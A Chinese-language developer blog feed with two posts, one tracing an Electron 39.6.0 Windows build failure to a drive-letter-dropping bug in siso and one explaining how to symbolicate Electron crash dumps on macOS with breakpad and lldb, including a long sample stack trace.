arm64 上 epoll_pwait 是 22。不过 epoll_pwait2 这种近几年才加进来的，所有架构都是 441。 ↩

Electron 39.6.0 tag 在 Windows 上构建失败排查

bh@bugs.cc (Kevin Cui) — Tue, 10 Mar 2026 08:07:00 GMT

挺久没在 Windows 上构建 Electron 了，昨天下午构建 electron@39.6.0 这个 tag 一直失败，而最新的 commit 上却完全正常。一直排查到晚上。

尝试了 PowerShell/Cmd，也重建整个源码树，甚至还重启了电脑，但是都不行。

复现环境：

Electron 39.6.0（tag）
Windows 10/11
PowerShell 和 Cmd 都试过

最开始我怀疑是 depot_tools 版本问题，但是 @electron/build-tools 会在启动前更新 depot_tools，所以也不是。

切换到了最新的 electron commit 上是好的，也就是问题不在系统层面。

报错说，可以执行 .\siso_failed_commands.bat 来重新运行失败的命令，我运行后，是正常无报错的。

手动执行 bat 文件完全成功。

又重新看了下错误日志，注意到:

err: fork/exec /Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe: The system cannot find the path specified.

前面的 C: 盘符被丢弃了，而在 siso_failed_commands.bat 中是有这个盘符的。

也就是说是 siso（构建执行器）在执行命令时丢失了 C: 驱动器前缀。(C:\foo → \foo)

如果源码放在 C 盘，反而不会触发这个问题，因为 Windows 会自动把 / 开头的无盘符路径解析到当前进程盘符根目录。

@electron/build-tools 会默认把 depot_tools 放在：%USERPROFILE%\.electron_build_tools\third_party

siso 进程工作目录是跟随源码来，在: D:\electron\release-39.6.0\src\out\Release

而我把 Electron 源码放在了 D 盘，导致剔除盘符后，fork/exec 执行的命令隐式变成了:

D:/Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe

最终报错: The system cannot find the path specified 🤷‍♂️

所以只要 depot_tools 和 Electron/Chromium 源码在同一个盘符，就完全没问题。这也是为什么 Electron 的 CI 能过的原因。

最后定位到相关的 CR: https://chromium-review.googlesource.com/c/build/+/7134259

原因也确定了: 因为 golang 的 slice 是共享引用，直接修改时，会对所有持有端可见，导致这里的修改被错误的分发到后续的使用上。解决方案就是使用 slices.Clone 做一次复制即可。

后续我的解决方案就是将 Electron 源码存放在 C 盘了。

在 macOS 上查看并解析 electron crash

bh@bugs.cc (Kevin Cui) — Tue, 15 Oct 2024 12:56:00 GMT

在开发 electron 应用时，有时会遇到 crash 的情况，但是由于因为某些原因，应用可能没有接入 sentry 或者其他 crash 分析平台，这时候就需要手动查看 crash 日志来定位问题。

寻找本地 crash 日志 {#find-crash-logs}

因为 electron 本身是基于 chromium 的，所以在 crash 相关的操作也基本和 chromium 一致。

在 chromium crash-reports 中，我们可以看到 crash 文件被保留在 ~/Library/Application\ Support/Chromium/Crashpad/completed 目录下。但是由于我们是 electron 应用，没有“提交”这个过程，所以 crash 文件会被保留在 ~/Library/Application\ Support/Chromium/Crashpad/pending 目录下。

在查找前，记得把上面的目录中的 Chromium 替换为你的应用名，比如 OOMOL Studio。

如果你 crash 的次数比较多，那么你会在这个目录下看到很多的 *.dmp 文件，一般而言，我们需要分析的都是最近一次 crash 的，所以最新的文件就是我们需要的。

解析 crash 文件 {#parse-crash-file}

使用 `breakpad` {#breakpad}

breakpad 是一个 Google 开源的 crash 分析工具，也是专门为 chromium 开发的。我们可以使用这个工具去解析我们的 dmp 文件。

git clone https://chromium.googlesource.com/breakpad/breakpad
cd breakpad
./configure
make
# 可选
make install

执行上面的命令后，你可以通过 ./src/processor/minidump_stackwalk 来解析 dmp，也可以直接使用 minidump_stackwalk (如果你执行了 make install 的话)

基本的使用方法是:

minidump_stackwalk /path/to/your.dmp [/path/to/symbols]

如果你直接使用 minidump_stackwalk /path/to/your.dmp 那么你得到的输出也都是地址，无法看到函数名。所以我们需要提供符号文件，这样才能看到函数名。

你可以通过: wget https://github.com/electron/electron/releases/download/<ELECTEON_VERSION>/electron-<ELECTEON_VERSION>-darwin-arm64-symbols.zip 来下载符号文件，以我自己为例，我下载的是:

wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-symbols.zip

这个文件是专门为 breakpad 准备的，所以我们可以直接解压到某个目录下，然后使用这个目录作为参数传递给 minidump_stackwalk。

minidump_stackwalk ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp ./electron-v30.5.1-darwin-arm64-symbols/breakpad_symbols

接下来你就可以看到详细的 crash 信息了。在我例子中，我得到的结果是:

Operating system: Mac OS X
                  14.6.1 23G93
CPU: arm64
     12 CPUs

GPU: UNKNOWN

Crash reason:  EXC_BREAKPOINT / 0x00000001
Crash address: 0x1129666c8
Process uptime: 0 seconds

Thread 0 (crashed)
 0  Electron Framework!v8::base::OS::Abort() [platform-posix.cc : 699 + 0x0]
     x0 = 0x0000000000000000    x1 = 0x0000000000000000
     x2 = 0x00000000000120a8    x3 = 0x00000001117656e0
     x4 = 0x00000001804b5a5f    x5 = 0x000000016b046af0
     x6 = 0x000000000000000a    x7 = 0x0000000000000000
     x8 = 0x0000000000000001    x9 = 0x00000001e83ff610
    x10 = 0x0000000000000002   x11 = 0x00000000fffffffd
    x12 = 0x0000010000000000   x13 = 0x0000000000000000
    x14 = 0x0000000000000000   x15 = 0x0000000000000000
    x16 = 0x00000001805657d4   x17 = 0x00000001f2af63e0
    x18 = 0x0000000000000000   x19 = 0x0000013c002cf000
    x20 = 0x0000000115675980   x21 = 0x0000013c002c0000
    x22 = 0x000000016b04fc28   x23 = 0x000000000000ded0
    x24 = 0x000000016b04fd0e   x25 = 0x000000016b047448
    x26 = 0x0000000000010820   x27 = 0x000000000000e838
    x28 = 0x0000013c002d0540    fp = 0x000000016b0473e0
     lr = 0x000000011295e6ec    sp = 0x000000016b0473e0
     pc = 0x00000001129666c8
    Found by: given as instruction pointer in context
 1  Electron Framework!v8::base::FatalOOM(v8::base::OOMType, char const*) [logging.cc : 94 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047400    sp = 0x000000016b0473f0
     pc = 0x000000011295e6ec
    Found by: call frame info
 2  Electron Framework!v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 341 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047420    sp = 0x000000016b047410
     pc = 0x000000010f5c66f4
    Found by: call frame info
 3  Electron Framework!v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 301 + 0xc]
    x19 = 0x0000000115e75e8d   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050150    sp = 0x000000016b047430
     pc = 0x000000010f5c6638
    Found by: call frame info
 4  Electron Framework!v8::internal::(anonymous namespace)::InitProcessWideCodeRange(v8::PageAllocator*, unsigned long) [code-range.cc : 458 + 0x14]
    x19 = 0x0000013c000c1a40   x20 = 0x0000000010000000
    x21 = 0x0000013c000c1a80   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050180    sp = 0x000000016b050160
     pc = 0x000000010f71ce70
    Found by: call frame info
 5  Electron Framework!v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [function.h : 428 + 0x8]
    x19 = 0x0000000116de0e90   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501a0    sp = 0x000000016b050190
     pc = 0x0000000112962d28
    Found by: call frame info
 6  Electron Framework!v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [once.h : 101 + 0x10]
    x19 = 0x000000016b0501b8   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501f0    sp = 0x000000016b0501b0
     pc = 0x000000010f71cd64
    Found by: call frame info
 7  Electron Framework!v8::internal::Heap::SetUp(v8::internal::LocalHeap*) [heap.cc : 5530 + 0x4]
    x19 = 0x0000013c002cded0   x20 = 0x0000000010000000
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0502a0    sp = 0x000000016b050200
     pc = 0x000000010f791418
    Found by: call frame info
 8  Electron Framework!v8::internal::Isolate::Init(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4719 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x000000016b050930
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0508e0    sp = 0x000000016b0502b0
     pc = 0x000000010f6f5218
    Found by: call frame info
 9  Electron Framework!v8::internal::Isolate::InitWithSnapshot(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4376 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0508f0    sp = 0x000000016b0508f0
     pc = 0x000000010f6f5d80
    Found by: call frame info
10  Electron Framework!v8::internal::Snapshot::Initialize(v8::internal::Isolate*) [snapshot.cc : 198 + 0x10]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0509d0    sp = 0x000000016b050900
     pc = 0x000000010fb92e5c
    Found by: call frame info
11  Electron Framework!v8::Isolate::Initialize(v8::Isolate*, v8::Isolate::CreateParams const&) [api.cc : 9725 + 0x4]
    x19 = 0x0000013c002c0000   x20 = 0x0000013c00042f40
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a10    sp = 0x000000016b0509e0
     pc = 0x000000010f5ea6ac
    Found by: call frame info
12  Electron Framework!gin::IsolateHolder::IsolateHolder(scoped_refptr<base::SingleThreadTaskRunner>, gin::IsolateHolder::AccessMode, gin::IsolateHolder::IsolateType, std::__Cr::unique_ptr<v8::Isolate::CreateParams, std::__Cr::default_delete<v8::Isolate::CreateParams>>, gin::IsolateHolder::IsolateCreationMode, scoped_refptr<base::SingleThreadTaskRunner>, v8::Isolate*) [isolate_holder.cc : 122 + 0x0]
    x19 = 0x0000013c00161688   x20 = 0x0000013c00020360
    x21 = 0x000000016b050a88   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a60    sp = 0x000000016b050a20
     pc = 0x0000000112aff208
    Found by: call frame info
13  Electron Framework!electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [javascript_environment.cc : 97 + 0x1c]
    x19 = 0x0000013c00161680   x20 = 0x0000013c00161688
    x21 = 0x0000013c002c0000   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050ab0    sp = 0x000000016b050a70
     pc = 0x000000010e4cd8e8
    Found by: call frame info
14  Electron Framework!electron::NodeService::Initialize(mojo::StructPtr<node::mojom::NodeServiceParams>) [unique_ptr.h : 621 + 0x8]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b050c70
    x21 = 0x0000000116dd4c08   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c60    sp = 0x000000016b050ac0
     pc = 0x000000010e581fac
    Found by: call frame info
15  Electron Framework!node::mojom::NodeServiceStubDispatch::Accept(node::mojom::NodeService*, mojo::Message*) [node_service.mojom.cc : 278 + 0x10]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c90    sp = 0x000000016b050c70
     pc = 0x000000011147d9bc
    Found by: call frame info
16  Electron Framework!mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) [interface_endpoint_client.cc : 1021 + 0xc]
    x19 = 0x0000013c00082d00   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050dd0    sp = 0x000000016b050ca0
     pc = 0x00000001119d1108
    Found by: call frame info
17  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051150   x20 = 0x0000013c00082de8
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050e30    sp = 0x000000016b050de0
     pc = 0x00000001119d5b78
    Found by: call frame info
18  Electron Framework!mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) [interface_endpoint_client.cc : 706 + 0x4]
    x19 = 0x00000001158a778e   x20 = 0x0000000028bc8f23
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050fa0    sp = 0x000000016b050e40
     pc = 0x00000001119d2d40
    Found by: call frame info
19  Electron Framework!mojo::internal::MultiplexRouter::Accept(mojo::Message*) [multiplex_router.cc : 1096 + 0x8]
    x19 = 0x0000013c00092800   x20 = 0x0000013c000c1040
    x21 = 0x0000000000000000   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b051230    sp = 0x000000016b050fb0
     pc = 0x00000001119de6cc
    Found by: call frame info
20  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051300   x20 = 0x0000013c00092830
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051290    sp = 0x000000016b051240
     pc = 0x00000001119d5b78
    Found by: call frame info
21  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [connector.cc : 554 + 0xc]
    x19 = 0x0000013c00092860   x20 = 0x0000013c00092a10
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051420    sp = 0x000000016b0512a0
     pc = 0x00000001119ce6a8
    Found by: call frame info
22  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [callback.h : 344 + 0x4]
    x19 = 0x0000013c00073070   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051440    sp = 0x000000016b051430
     pc = 0x000000010e404a4c
    Found by: call frame info
23  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [callback.h : 344 + 0x8]
    x19 = 0x0000000116d82000   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051580    sp = 0x000000016b051450
     pc = 0x00000001119f2388
    Found by: call frame info
24  Electron Framework!base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [callback.h : 156 + 0x0]
    x19 = 0x0000013c00261000   x20 = 0x0000012800440270
    x21 = 0x0000000000000000   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051600    sp = 0x000000016b051590
     pc = 0x00000001116bea7c
    Found by: call frame info
25  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [task_annotator.h : 90 + 0x8]
    x19 = 0x0000013c00261000   x20 = 0xaaaaaaaaaaaaaa00
    x21 = 0x0000000000000019   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051880    sp = 0x000000016b051610
     pc = 0x00000001116d8f5c
    Found by: call frame info
26  Electron Framework!non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [thread_controller_with_message_pump_impl.cc : 338 + 0xc]
    x19 = 0x000000016b051920   x20 = 0x0000013c000800e8
    x21 = 0x0000013c00080000   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051910    sp = 0x000000016b051890
     pc = 0x00000001116d956c
    Found by: call frame info
27  Electron Framework!base::MessagePumpDefault::Run(base::MessagePump::Delegate*) [message_pump_default.cc : 40 + 0x8]
    x19 = 0x0000013c00060440   x20 = 0x0000013c000800e8
    x21 = 0x0000000000000001   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051980    sp = 0x000000016b051920
     pc = 0x000000011168056c
    Found by: call frame info
28  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) [thread_controller_with_message_pump_impl.cc : 641 + 0x0]
    x19 = 0x0000013c00080000   x20 = 0x0000000000000001
    x21 = 0x7fffffffffffffff   x22 = 0x0000000000000001
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b0519d0    sp = 0x000000016b051990
     pc = 0x00000001116d9bd4
    Found by: call frame info
29  Electron Framework!base::RunLoop::Run(base::Location const&) [run_loop.cc : 134 + 0x4]
    x19 = 0x000000016b051b10   x20 = 0x000000016b051ad0
    x21 = 0x000000016b0519e8   x22 = 0x0000000000000000
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ab0    sp = 0x000000016b0519e0
     pc = 0x00000001116a4f04
    Found by: call frame info
30  Electron Framework!content::UtilityMain(content::MainFunctionParams) [utility_main.cc : 439 + 0x24]
    x19 = 0x00000128002ce5b0   x20 = 0x0000000000000007
    x21 = 0x0000000115652ec1   x22 = 0x000000016b051ad7
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051c50    sp = 0x000000016b051ac0
     pc = 0x00000001110e24c4
    Found by: call frame info
31  Electron Framework!content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) [content_main_runner_impl.cc : 775 + 0x4]
    x19 = 0x00000001110e1dd8   x20 = 0x000000016b0521f0
    x21 = 0x000000016b051dd0   x22 = 0x0000000116ae4668
    x23 = 0x000000016b051e98   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051db0    sp = 0x000000016b051c60
     pc = 0x000000010e6ef7e4
    Found by: call frame info
32  Electron Framework!content::ContentMainRunnerImpl::Run() [content_main_runner_impl.cc : 1150 + 0x8]
    x19 = 0x00000128002e0280   x20 = 0x000000016b051dd0
    x21 = 0x000000016b051e50   x22 = 0x000000016b051e98
    x23 = 0x0000000000000007   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ef0    sp = 0x000000016b051dc0
     pc = 0x000000010e6f04e0
    Found by: call frame info
33  Electron Framework!content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) [content_main.cc : 331 + 0x4]
    x19 = 0x00000128002e0280   x20 = 0x0000000000000007
    x21 = 0x000000016b051f08   x22 = 0x0000000000000007
    x23 = 0x000000016b052040   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052100    sp = 0x000000016b051f00
     pc = 0x000000010e6eee84
    Found by: call frame info
34  Electron Framework!content::ContentMain(content::ContentMainParams) [content_main.cc : 344 + 0x4]
    x19 = 0x000000016b052178   x20 = 0x000000016b052110
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052160    sp = 0x000000016b052110
     pc = 0x000000010e6ef048
    Found by: call frame info
35  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
    x19 = 0x000000016b0524f0   x20 = 0x0000000000000014
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052250    sp = 0x000000016b052170
     pc = 0x000000010e3c852c
    Found by: call frame info
36  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
     fp = 0x000000016b0522a0    lr = 0x0000000104daca50
     sp = 0x000000016b052260    pc = 0x000000010e3c852c
    Found by: previous frame's frame pointer
37  OOMOL Studio Helper (Plugin) + 0xa4c
     fp = 0x000000016b0524d0    lr = 0x000000018021b154
     sp = 0x000000016b0522b0    pc = 0x0000000104daca50
    Found by: previous frame's frame pointer
38  dyld + 0x6150
     fp = 0x0000000000000000    lr = 0x534b800000000000
     sp = 0x000000016b0524e0    pc = 0x000000018021b154
    Found by: previous frame's frame pointer
...
...

可以看到，这里 crash 的原因是: Helper (Plugin) 进程(这个对应了 electron 中的 AppName Helper (Plugin).app) 在使用 UtilityMain(对应了 electron 中的 utilityProcess) 时，v8 申请内存失败，导致 crash。

结合我们的业务需求就是: 我们在使用 electron 的 utilityProcess.fork 方法时，由于被 fork 的脚本中的 v8 引擎无法申请到内存，导致 crash。

最终发现是因为我们在做代码签名时，对 AppName Helper (Plugin).app 声明的 entitlements 缺少了 com.apple.security.cs.allow-jit 权限所导致的。

使用 `lldb` {#lldb}

就我个人而言，我会更喜欢使用 lldb 来查看 crash 的原因，因为 lldb 的输出更加直观一些。

首先通过下面的命令来下载 dsym 文件:

wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-dsym.zip

解压完成后，我们需要设置 lldb 的搜索路径并执行 bt 来查看:

lldb -c ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp -o "settings set target.exec-search-paths ./electron-v30.5.1-darwin-arm64-dsym" -o "bt"

最终得到的输出如下:

* thread #1, stop reason = EXC_BREAKPOINT (code=1, subcode=0x1129666c8)
  * frame #0: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() [inlined] v8::base::OS::Abort()::$_0::operator()(this=<unavailable>) const at platform-posix.cc:699:7 [opt]
    frame #1: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() at platform-posix.cc:699:7 [opt]
    frame #2: 0x000000011295e6ec Electron Framework`v8::base::FatalOOM(type=<unavailable>, msg=<unavailable>) at logging.cc:94:3 [opt]
    frame #3: 0x000000010f5c66f4 Electron Framework`v8::Utils::ReportOOMFailure(i_isolate=<unavailable>, location=<unavailable>, details=<unavailable>) at api.cc:341:7 [opt]
    frame #4: 0x000000010f5c6638 Electron Framework`v8::internal::V8::FatalProcessOutOfMemory(i_isolate=0x0000013c002c0000, location="", details=0x0000000115675980) at api.cc:301:3 [opt]
    frame #5: 0x000000010f71ce70 Electron Framework`v8::internal::(anonymous namespace)::InitProcessWideCodeRange(page_allocator=<unavailable>, requested_size=<unavailable>) at code-range.cc:458:5 [opt]
    frame #6: 0x0000000112962d28 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [inlined] std::__Cr::__function::__value_func<void ()>::operator()(this=<unavailable>) const at function.h:428:12 [opt]
